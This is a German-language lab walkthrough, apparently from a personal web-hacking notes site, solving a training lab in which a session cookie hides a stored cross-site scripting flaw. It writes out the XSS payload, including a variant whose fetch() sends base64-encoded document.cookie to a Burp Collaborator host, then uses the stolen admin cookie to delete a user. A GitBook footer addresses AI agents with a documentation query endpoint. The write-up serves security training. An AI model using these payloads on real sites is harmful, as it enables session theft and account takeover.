> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/essential-skills/analyzing-non-standard-data-structures.md).

# Analyse nicht standardisierter Datenstrukturen

### Scannen nicht standardisierter Datenstrukturen

**Lab-Hintergrund**

Dieses Lab enthält eine Schwachstelle, die manuell schwer zu identifizieren ist, da sie sich in einer **nicht standardisierten Datenstruktur**. / Das Ziel ist es, **Burp Scanner**, insbesondere die **Ausgewählten Einfügepunkt scannen** Funktionalität, um die Schwachstelle zu erkennen und sie dann manuell auszunutzen, um **Benutzer löschen `carlos`**.

Bereitgestellter Bezeichner:

* **Benutzer**: wiener
* **Passwort**: peter

**Schritt 1 – Authentifizierung**

Verbinden Sie sich mit der Anwendung über die Login-Seite mit den bereitgestellten Zugangsdaten.

<figure><img src="/files/c5ade3eaf91a94fb4ece1895c555de4e0c0aaeeb" alt=""><figcaption></figcaption></figure>

**Schritt 2 – Gezielter Scan an einem Einfügepunkt**

Statt eines globalen Scans wird ein hochgradig gezielter Scan durchgeführt:

* Eine authentifizierte Anfrage wird abgefangen.
* Nur der **Wert des Sitzungscookies** wird ausgewählt.

<figure><img src="/files/86812f4fbbfc1c1e993dd6c1933b8e38635e8e68" alt=""><figcaption></figcaption></figure>

* Wir starten **Burp Scanner → Ausgewählten Einfügepunkt scannen** für dieses spezifische Element.

Dieser minimalistische Scan ermöglicht die Analyse eines Bereichs, der manuell selten getestet wird: die interne Struktur des Cookies.

<figure><img src="/files/27dcbb47bd9d634143f7465f4b9464042cfd584a" alt=""><figcaption></figcaption></figure>

**Schritt 3 – Schwachstellenerkennung**

Burp Scanner identifiziert eine Schwachstelle vom Typ:

* **Gespeichertes Cross-Site Scripting (XSS)**

Die erkannte Payload wird direkt in das Sitzungscookie injiziert.

<figure><img src="/files/8719e7e98f68dd850db5d760cdd85a3389a21789" alt=""><figcaption></figcaption></figure>

Beispiel der erkannten ursprünglichen Payload:

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch`//uqo5wxufqik239ij6afcc710crik6hu6.oastify/.oastify.com`>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

**Schritt 4 – Exfiltrieren des Cookies über Burp Collaborator**

Wir passen die Payload an, um `document.cookie` Inhalt an unseren Collaborator-Server zu exfiltrieren, kodiert in Base64:

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch(`//uqo5wxufqik239ij6afcc710crik6hu6/.oastify.com/${btoa(document.cookie)}`)>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

Dann **URL-codieren** die Payload vor dem Einfügen:

```bash
'%22%3e%3csvg%2fonload%3dfetch(%60%2f%2fuqo5wxufqik239ij6afcc710crik6hu6%5c.oastify.com%2f%24%7bbtoa(document.cookie)%7d%60)%3e%3a7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

<figure><img src="/files/57b61af82c26185b072fdc4b6546c48ec0837f3d" alt=""><figcaption></figcaption></figure>

**Schritt 5 – Wiederherstellung und Dekodierung des Admin-Cookies**

Der Collaborator-Server erhält eine Anfrage, die das in Base64 kodierte Cookie enthält:

```bash
GET
/c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY=
```

Nach der Dekodierung erhalten wir:

```bash
session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv
```

<figure><img src="/files/952e52e2f04e1a97b26169c8167faa1b7599801b" alt=""><figcaption></figcaption></figure>

**Schritt 6 – Administratorzugriff und abschließende Aktion**

Mit dem Admin-Sitzungscookie:

* Die Benutzeroberfläche **admin** wird aufgerufen.
* Eine interne Seite von **Protokolle** ist zugänglich.
* Diese Seite zeigte Cookies ohne Filterung an, was die Persistenz des **gespeicherten XSS**.
* Anschließend ist es möglich, den Benutzer zu löschen **carlos** und das Lab zu validieren.

<figure><img src="/files/29a9b93b1de0f5684f7a2962d90513d8853f46d1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/essential-skills/analyzing-non-standard-data-structures.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.